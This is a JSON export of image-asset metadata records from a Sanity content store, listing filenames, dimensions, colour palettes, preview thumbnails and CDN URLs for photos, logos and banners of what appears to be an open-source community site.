{"_createdAt":"2024-05-30T11:43:20Z","_id":"image-5c59a26e91b06403a6a64513cf8ea5e9fc21a9eb-2101x2101-png","_rev":"aiEK3gvvqNId1oqOQZistW","_type":"sanity.imageAsset","_updatedAt":"2024-05-30T11:43:47Z","altText":null,"assetId":"5c59a26e91b06403a6a64513cf8ea5e9fc21a9eb","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eEE{Uz8_G[EL}q~V4T-RM{IBu44.?HjZT1_3D$ogV?oMtRM_%2ofI;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2101,"width":2101},"exif":{"ApertureValue":2.2750070478484843,"BrightnessValue":7.341991687979539,"DateTimeDigitized":"2023-06-24T13:34:07.000Z","DateTimeOriginal":"2023-06-24T13:34:07.000Z","ExposureBiasValue":0,"ExposureMode":0,"ExposureProgram":2,"ExposureTime":0.006493506493506494,"FNumber":2.2,"Flash":16,"FocalLength":2.71,"FocalLengthIn35mmFormat":30,"ISO":25,"LensMake":"Apple","LensModel":"iPhone 11 Pro front camera 2.71mm f/2.2","LensSpecification":[2.7100000381578897,2.7100000381578897,2.2,2.2],"MeteringMode":5,"PixelXDimension":2101,"PixelYDimension":2101,"SensingMethod":2,"ShutterSpeedValue":7.268010466922888,"SubSecTimeDigitized":"776","SubSecTimeOriginal":"776","WhiteBalance":0,"_type":"sanity.imageExifMetadata"},"hasAlpha":false,"isOpaque":true,"location":{"_type":"geopoint","alt":11.382370873617282,"lat":52.18480555555555,"lng":0.15587499999999999},"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEsklEQVQ4jRXL608TBwAA8PsvptsUUGSgRUWkpS3lei30edfe9X29Xnvl+rpe36X0QR9QaqEg5VGooGAMii/mXDDExbiYmT2dGueiy7IPGj84t2RLph/MNOKy3/cfYMZbNehuJfKBWrNTptwpU+zQG1ucbiHh4BnsfNynIQMmJq5fWErdvXPj9+dPXr38+82bf99tb2+/fw8Q5AFU16SEP0TQ3WpNg0Sxtw8TYy7K4vNpnQxkYUXmkCGQml1duvPjV8+e/vLHi6evXv719u2bd9vbgN64D0EbYO1uLdYI69ogBORrHEbvaHqkNpysUERILMEFao+/WL9y4+ajx3efPfn5xfPfXv7z5+vXrwAUa1FrGlTwLhXcoMS6ejV6GTIwnirePL1ye2Xx6nihSBFykQzSs/n6uS+/vvnTvRv3f7j28P4Xjx/eAszmwzpjG6zZK1c1y/UyCWr3WJ1b08VHZ2sPTk19VytuZAMMouCLYPtQ5czVjc3NpfUz2ZP10IkaA9jtAoLgGk0dqKELteMqoytOUZeLiSuF6FqUXgnYq26LF+7nHuH1477s/PzETDw5pAr6eayvA/C4JaSNj2HterPI7HUrdSQFw0kDHFZCQ0hfTC21CjtlB9v2NzYdhVTeQjFRDNNuiCQOksR+IBZR0wMiRNOGGIR6N63UGHBI5BJ3e0BeyaQZNcCmTg64d9eBj3Ye4vU6U/ls9VgoTgxQoIPkAdGInGEkuJVnpTVEOGwwE1FMWTYpJ42KOolOGZVxaTfNPyRvb+UKIDyayS3MJQqsyyWjKQhgg2IvI3Y4xe6og85kHU7vcZrYCJIXGMsSpR039k9ZlMctCm+fCBTLEW90cGY2NTHsYfQkIQfsA50MKwlFDaFchM6OOj2Beca5lXRvZZnzEWqR1i8z+Ck/njZpFCpdv53xlyfz8zP+mN9oQgGLjRNLqEuVSHq6TGXHrC62wtKbOf/1Yuha1n8hQq0GyZNhctRtxyzOXtxlS+ezC4u+wZhMIfs/+wJg5hibnJ0m0kWYdCV99Oflwe8XC3cWRm5VktfGIuv54EiEhQlXF2pF2Mjg3DyTSYv7pYCJaHd4e6JjwWh11hDL9mA4abNemBx+tFH/9eLCg9XJb5fLl6fzkWBQqMU5MhRyuNmp6WiloiNtgNa83xlWJ2bGgtUazCY6FJhUBU+kQrfXZu+dm/1muXy9NjpXSBhJB0eKfCJRC3GHo1geWqyHikUAsXQyeSZ9ctkzMddPBzlS+KAAJI3a+jD76eTQpVKklnSzlEWkQJp7ZC2QsttkM6dy8fpSaW0NsIWsyYVqevWsNT8htLpaQeWeDj4o5McsqlqYqIdtBQo1w/LDor7Gbklzr5xnILBYkq3OlM6vA5mlEyPrFyP103A026m3N4sUjR2CrqNcp7xnxCw7hssGNSAqAQ/wwI+P9OwR9HF1OBaJD4yVYrV5YPyzrdz6Bl2ZhzyxdsTa3Kts4UtAqcyjU2VMijQmjsIiXR/U1iXa0c5t4kFc1KwLRey5rGusCIxe3kysnLPkxwX2QKsK3weqD0nVKE7kBkPV4dDxGF0KkJTVxBGId3A6m7pBntaEsQFbesg+nPkPaXnu5LRRA0oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#334b5a","foreground":"#fff","population":5.63,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#664a14","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#986a58","foreground":"#fff","population":6.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3b1a6","foreground":"#000","population":0.83,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edb6a7","foreground":"#000","population":0.38,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#986a58","foreground":"#fff","population":6.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b46451","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Tibs with blue hair.png","path":"images/sczeoy4w/production/5c59a26e91b06403a6a64513cf8ea5e9fc21a9eb-2101x2101.png","sha1hash":"5c59a26e91b06403a6a64513cf8ea5e9fc21a9eb","size":7304190,"title":null,"uploadId":"FwmOjUTyszg7eWlPT1RgsFjKWm98dF8Y","url":"https://cdn.sanity.io/images/sczeoy4w/production/5c59a26e91b06403a6a64513cf8ea5e9fc21a9eb-2101x2101.png"} {"_createdAt":"2024-09-19T06:04:47Z","_id":"image-6d83c22a2ad613f37b17fb6522e5dd5d2f3e7bd2-580x580-jpg","_rev":"qobFP6o3d5Cfo6v5hoeYFu","_type":"sanity.imageAsset","_updatedAt":"2024-09-19T06:04:47Z","assetId":"6d83c22a2ad613f37b17fb6522e5dd5d2f3e7bd2","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eNI5V.M|4.t7Vr00axNGoft7tRRkV@xutR_4ogoKt7M{IoRio1WBM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":580,"width":580},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAUHCAQG/8QAIxAAAgEEAgICAwAAAAAAAAAAAQIDAAQFEQYhBxITURUxYf/EABcBAAMBAAAAAAAAAAAAAAAAAAABAwT/xAAbEQEBAAIDAQAAAAAAAAAAAAABAAISAxNRYf/aAAwDAQACEQMRAD8AzlxS1EvIMckj+imZdtvWquXkVz+C41lWwT/A9yQk6LKXMuz9fdWFwrw9gsHJHc3bHIXiHYL9ID/BU/jvHmPhuLiSRFf3f3TffqaHiyUqGeOqWQo75kX1a1Jbfexqlaov+E46O7kD2UDMTssVHdKOg9o7fL1dhO4u5e/0QBup0SMEDDWzSla2VzW2poy8iqzEnsilKVNCd//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f412a","foreground":"#fff","population":1.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#140b06","foreground":"#fff","population":3.79,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#140b06","foreground":"#fff","population":3.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2b7ca","foreground":"#000","population":3.47,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dee2f4","foreground":"#000","population":0.8,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#757c8a","foreground":"#fff","population":1.93,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c46b3a","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Amine.jpeg","path":"images/sczeoy4w/production/6d83c22a2ad613f37b17fb6522e5dd5d2f3e7bd2-580x580.jpg","sha1hash":"6d83c22a2ad613f37b17fb6522e5dd5d2f3e7bd2","size":44548,"uploadId":"x3c8KhdjDx0Wdu9KdarCGKc9jJ1LJfVF","url":"https://cdn.sanity.io/images/sczeoy4w/production/6d83c22a2ad613f37b17fb6522e5dd5d2f3e7bd2-580x580.jpg"} {"_createdAt":"2024-09-19T06:08:17Z","_id":"image-fb8cc49e448ee22473002d12b2fa5aff40987011-800x800-jpg","_rev":"1OyjLnRDvuzO2Q4GjnC1Dk","_type":"sanity.imageAsset","_updatedAt":"2024-09-19T06:08:17Z","assetId":"fb8cc49e448ee22473002d12b2fa5aff40987011","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eMGu:p%N0JfPRO00IU%MWB-;_4oywzxuIoIoofs:M_IVD%V[%MoMxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAUHCAMG/8QAJxAAAQMDAgYCAwAAAAAAAAAAAQACAwQFEQYiBxITFCExJEFCUYH/xAAXAQEBAQEAAAAAAAAAAAAAAAADBAEF/8QAGxEAAwACAwAAAAAAAAAAAAAAAAECETEDEkH/2gAMAwEAAhEDEQA/AK2oJJZbxTx8pLZ8t3ecA/a9VfNP0tjoGzsqu4Jdh4awjAKk+H3D676hMFdOG0dNG/LZ/RcAfOApfVWi73du6goiZI6c85bnHVA9YU0y1OcGcUyob9KslrGukPSnyz8c/SLnUTx08hhdaj1I9r8+Nw9ohdWB2o1tYPj26ghi2xthbgfxSg2Oe9oAdhEXSWhkZO4mNEGt7o2IlrTJzYH7KIikrbAez//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#38562c","foreground":"#fff","population":4.86,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1f350b","foreground":"#fff","population":0.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#897d71","foreground":"#fff","population":7.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9b6b6","foreground":"#000","population":2.46,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eceafc","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#897d71","foreground":"#fff","population":7.66,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#759c34","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Tommy Sullivan Vidio.jpeg","path":"images/sczeoy4w/production/fb8cc49e448ee22473002d12b2fa5aff40987011-800x800.jpg","sha1hash":"fb8cc49e448ee22473002d12b2fa5aff40987011","size":105269,"uploadId":"5niR6fFLg2ONIXGp0VgfeQWsOTFUz8mZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/fb8cc49e448ee22473002d12b2fa5aff40987011-800x800.jpg"} {"_createdAt":"2024-09-19T06:13:04Z","_id":"image-59bfe34f664f7c2062349637430d179bd6bbb6f2-800x800-jpg","_rev":"qobFP6o3d5Cfo6v5hoeu1l","_type":"sanity.imageAsset","_updatedAt":"2024-09-19T06:13:04Z","assetId":"59bfe34f664f7c2062349637430d179bd6bbb6f2","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ehBzInW:p0s.i^yGfOXAjaV?JEoIR.WYjYR:oLn+WXoIkDWYWVa#oI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAUDBAcG/8QAJBAAAQQBBAICAwAAAAAAAAAAAQACAwQRBhIhQQUTFFFSYYH/xAAWAQEBAQAAAAAAAAAAAAAAAAADBAL/xAAdEQACAgIDAQAAAAAAAAAAAAAAAQIDBCEVMVGh/9oADAMBAAIRAxEAPwDHYPxqftAbJKxu4x55/SiaXNu3cnMttsvsJLYA3Aj/AKo+otRtZCRFZa20O8c4H2pvjtUSQ03SF2wvfnc3sdgK6zMtlKNqe0wqMGmMJ1TXaOlmjZcTiJw6Rebpako2K7ZI7PB/KQgon5u1acQOFre0/pxfyE8haXFxLnHkrZe4s0w3bwRJkIih9KyfVnk9LcOKIi2ujB//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#282d49","foreground":"#fff","population":6.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0535b7","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#76778b","foreground":"#fff","population":8.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dad2ba","foreground":"#000","population":0.31,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2e92f4","foreground":"#fff","population":0.24,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#76778b","foreground":"#fff","population":8.73,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#328bde","foreground":"#fff","population":7.08,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Johanes Glenn.jpeg","path":"images/sczeoy4w/production/59bfe34f664f7c2062349637430d179bd6bbb6f2-800x800.jpg","sha1hash":"59bfe34f664f7c2062349637430d179bd6bbb6f2","size":163484,"uploadId":"hqHIHsIos7nPRT8cEPDeVBAgoVJa0MKX","url":"https://cdn.sanity.io/images/sczeoy4w/production/59bfe34f664f7c2062349637430d179bd6bbb6f2-800x800.jpg"} {"_createdAt":"2024-09-19T07:10:58Z","_id":"image-db4cd38bb216e8b5b9d5e54f945d26d7801266fa-353x143-png","_rev":"qobFP6o3d5Cfo6v5hojtAi","_type":"sanity.imageAsset","_updatedAt":"2024-09-19T07:10:58Z","assetId":"db4cd38bb216e8b5b9d5e54f945d26d7801266fa","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4PZT0@ZUa.mD%00_NDO9FW;00HC*|QmMx","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4685314685314683,"height":143,"width":353},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABwElEQVQokW2Qe2+aYBTG+f5fhXhBXNHRVQdyEVTwgkVr0oZpw0WgRKJZ1/c8y0uXLFn2xy/PuSTnPOcIoij+lGWZKYoCRVFoMBhgOBw28NqXfh/9fh+SJKHdbv8P4tpqtUgUxV9Ct9tlqqqSpuvQJxOaTCYwDKOB10bjMR5GI/BFPVlGr9f7F+IqSRJ1Oh0SNE2DO3Xgz+a0nM/BWXkeVr4P3/PgzWYNruvCNi3YhgHbsmDbNizLgmmaXInH3Izw4+WFst2eioWP3JpSbtgoZnMUno+mxtkEyMPdZ7xcIz+ekGUZTqcToigirnEc0+vrKwlVmtH7NiSmGWB3Q2LyHT4UFR/KVzBFBRvrYJYDZk7BBupnXJa43W4oyxJ5nlNRFKiqiuq6JuHtfEbJt5s2FbqBXDeQjDXE9w/Ivo2a/GxYOH/Xcb4foVr4uBV/B6ZJwt1SVVWo6xpClmUsen6mx+UKge9T4PtYzRdYTKfwHQdr/lfXhWfbWDoO9kGAJI5xvV65K/Az0zTlw+hyuZBwPB5vURSxw+GAMAwp3O2wf3pCuAvxGIbgebDdYr3ZNMp7/Gd/zm0GJkmCoihYmqbvvwGNvShDD9MlJQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#445c5c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8f3833","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ea1222","foreground":"#fff","population":3.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4a090","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc547c","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#bc8e90","foreground":"#000","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea1222","foreground":"#fff","population":3.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-oracle-cloud-marketplace.png","path":"images/sczeoy4w/production/db4cd38bb216e8b5b9d5e54f945d26d7801266fa-353x143.png","sha1hash":"db4cd38bb216e8b5b9d5e54f945d26d7801266fa","size":17854,"uploadId":"6FtSRf27dFpCz1lacNIsBA3p9uJB6JBz","url":"https://cdn.sanity.io/images/sczeoy4w/production/db4cd38bb216e8b5b9d5e54f945d26d7801266fa-353x143.png"} {"_createdAt":"2024-09-23T08:52:59Z","_id":"image-97b374e5e01e3bc2a75078da6cbb03b10a832296-1200x628-jpg","_rev":"qobFP6o3d5Cfo6v5i0OdXo","_type":"sanity.imageAsset","_updatedAt":"2024-09-23T08:52:59Z","assetId":"97b374e5e01e3bc2a75078da6cbb03b10a832296","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M88z{8?6ISMxIU_4R%M{ozNG4nIUt6%Mob","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQCAwYH/8QAIxAAAQQBAgcBAAAAAAAAAAAAAQACAwQRBTESExQhMjNCgf/EABYBAQEBAAAAAAAAAAAAAAAAAAQCBv/EABgRAAMBAQAAAAAAAAAAAAAAAAACEQMh/9oADAMBAAIRAxEAPwDl2j19PdRhMscHGW5JOMqNu5QqTuj6SOXGxbjCzAJ5EfcqyL2fq1GKhGH7b60s7nxRmNp+SdkJJ/kUJVnIQf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252851","foreground":"#fff","population":0.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":9.73,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":9.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#949ac4","foreground":"#000","population":1.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dee5f3","foreground":"#000","population":8.6,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676e96","foreground":"#fff","population":2.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b9474b","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Navigating the Creative Commons: AI, Ownership, and Software Development .jpg","path":"images/sczeoy4w/production/97b374e5e01e3bc2a75078da6cbb03b10a832296-1200x628.jpg","sha1hash":"97b374e5e01e3bc2a75078da6cbb03b10a832296","size":77124,"uploadId":"9Y0nOjRxShLcwmkxUUBoIVyLQFkr9Y8e","url":"https://cdn.sanity.io/images/sczeoy4w/production/97b374e5e01e3bc2a75078da6cbb03b10a832296-1200x628.jpg"} {"_createdAt":"2024-09-19T21:11:23Z","_id":"image-f61d4acbaaa3262df043a92f9d43f6d77f5659bb-1100x200-png","_rev":"YWHkZRhDz94HWGkESmWBA4","_type":"sanity.imageAsset","_updatedAt":"2024-09-19T21:11:23Z","assetId":"f61d4acbaaa3262df043a92f9d43f6d77f5659bb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"414e,p,~-b-q%7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.5,"height":200,"width":1100},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAIAAAAcOLh5AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAtklEQVQImWPQM8k0scw1sy0wty3WNSmQVs0QV8yXVa+R125W0OlQ1O1R0utTNpioYjhFxWi6qvEsNZO56qbz1c0WalksZlBUi1PWSFDWSlLWSpVTSxVXSJVUKVbQaVEx6FU3nqRmPEXNaIqa8VRV42mqxtPUTGaom8xUN5mlbjpLy2IOg6RMqLhMmJBUmKBkpJBUrJB0oph8ppRKgYJ2ubJetYJOpYx6qbRqsZQKCpJWLZHTKAMAafAvHRZtbQ0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a2c59","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":20.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":20.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ba3c9","foreground":"#000","population":1.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4fc","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#666d9a","foreground":"#fff","population":1.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3444bc","foreground":"#fff","population":18.4,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"header_image_community.png","path":"images/sczeoy4w/production/f61d4acbaaa3262df043a92f9d43f6d77f5659bb-1100x200.png","sha1hash":"f61d4acbaaa3262df043a92f9d43f6d77f5659bb","size":44249,"uploadId":"HU4940NiUokNflPExaRszQmI98JCqPTn","url":"https://cdn.sanity.io/images/sczeoy4w/production/f61d4acbaaa3262df043a92f9d43f6d77f5659bb-1100x200.png"} {"_createdAt":"2024-09-19T21:12:54Z","_id":"image-0420d86d2730c2373e154e2f8df4273b124e16c7-1100x200-png","_rev":"qobFP6o3d5Cfo6v5hqyaeh","_type":"sanity.imageAsset","_updatedAt":"2024-09-19T21:12:54Z","assetId":"0420d86d2730c2373e154e2f8df4273b124e16c7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4A9aE,9E9x~W4V","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.5,"height":200,"width":1100},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAIAAAAcOLh5AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAv0lEQVQImWMwtcq1tC+0dCi2sC/SN8tU0Y5X1w02tfQ0tQxW1YlVUE+2d6ktL+ypKGgPCm1086sztS2TVs0RUyyQVq1h0DJM0zJMU9VNVddLNrWKs7CJ0DENMrIPM7SJ0tb119fxtrfPyEtrrizszsrrLyzvD41pUNLOEJFLk1AqZBCRDReWCReRiZBVibSwjXZ0CdMyClM1SlE1SDE28He1cDc3jbC3z/f2qUnM6qvvmpWU3aFhkC4mnyChlAsAbpAz+mcRNJwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a4765","foreground":"#fff","population":4.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04146c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3a4765","foreground":"#fff","population":4.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9aa9c5","foreground":"#000","population":1.82,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcbda9","foreground":"#000","population":0.97,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e765b","foreground":"#fff","population":0.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242f91","foreground":"#fff","population":3.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"checkout_osdi_meetups.png","path":"images/sczeoy4w/production/0420d86d2730c2373e154e2f8df4273b124e16c7-1100x200.png","sha1hash":"0420d86d2730c2373e154e2f8df4273b124e16c7","size":205746,"uploadId":"UOM30FqomWrHMk576C1wWt9z0iKjitIF","url":"https://cdn.sanity.io/images/sczeoy4w/production/0420d86d2730c2373e154e2f8df4273b124e16c7-1100x200.png"} {"_createdAt":"2024-09-19T21:19:21Z","_id":"image-6a3345f0d107d05d3321ba84eaf51913fc54dc20-1932x1740-png","_rev":"1OyjLnRDvuzO2Q4GjqY7EK","_type":"sanity.imageAsset","_updatedAt":"2024-09-19T21:19:21Z","assetId":"6a3345f0d107d05d3321ba84eaf51913fc54dc20","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e6R{#]Rn?w?uW?0Po#9HROxa01s.WrSiX94padxsoJoeD%ocxYaLae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.110344827586207,"height":1740,"width":1932},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAABYlAAAWJQFJUiTwAAADBElEQVQ4jW2T2XLjNhBF+f+/lcokM7KtzUqscWJZtCyKO8EVC8GTAihp/BBW3QIboA66b7eCrNRESUeS9eSl9ErznqzoKStJKWZVQvk4K7q78us3WaE4J06G4HDMWTzu+fbnlu+LHcv1T7a7N9bbnyxXf9+13rz49cdiw8PjM5vtnrXTZs/j8oWH1Sv7f2KC40fB0+qV3//Y8Nu3Dd8fXlhv/2W1eeFp5S7YsVzteFo+e/1YrFg8rNk+79nu9qzWf/H4tGO1eeXtPSEoKk0Ut4SfJW/HnLew4BRVxElJmpVkeUWWlSRpMSvJiZN8PvP7JZekJMlaSqEJRDvhVLeWUijSYqCqFVKNGGMZR4txMnM8r7O0NihlGKSl6yfaHoLawbqJppuo6pG8NIhm9MBxdJqh/t1c5fd/nWszMciJbpgIpJropaUfxut6izWDVD4LLykZ2pqhbZDDgFIKYwzWWqydMOOEMROBC6TUDIPypU0TvpyuG2jbHikVSmnUMCDrCtkIlBzQWn8BWp+pYwUu6PoBUbubpT8ctCGvGvKiQoiaumnoug6tJKPR2HG8g6y1Vy+1hwbajFR1S5LmlKXwGYleESYl4TnmM4o5RzFpmtM0Hf0gGa5y3xpj7g0arXUeKkrRkGQFRSnoeknZSd6Tivdzxscl43TJuMQZaVr4UcnyeWSKQniwy3KaJq/AaE3TtFRVTd87bwyilYRRwfEzIUoLX76oW+q69da4dyEan7FS2nt3B3oPu95DndGTneibnuh44Xj4IIpif+Yb80WuMne5/b+mOF9cV804+lt03ZKHZ05HB7xQFBVt2/kKbv6537gE7B04N+oLsPcGO6BqBWl44Hg4EIYnTp9n4iT1ZbpRcvDbSNkr0DXmF/A2NlIxWYvqBMnpjePhndMp4nyOucSpz9R5XVa19/MGdEnc1sBObrCVz1Bpl6FF94IyDomjyHfUASrRUDetb4TL0JXtyrw1496UG332YN40fYVIQrI49kA3TqLp/B/A2TPP3wxzz211z3/Zy2EZA9e0dwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343444","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c3c8c","fore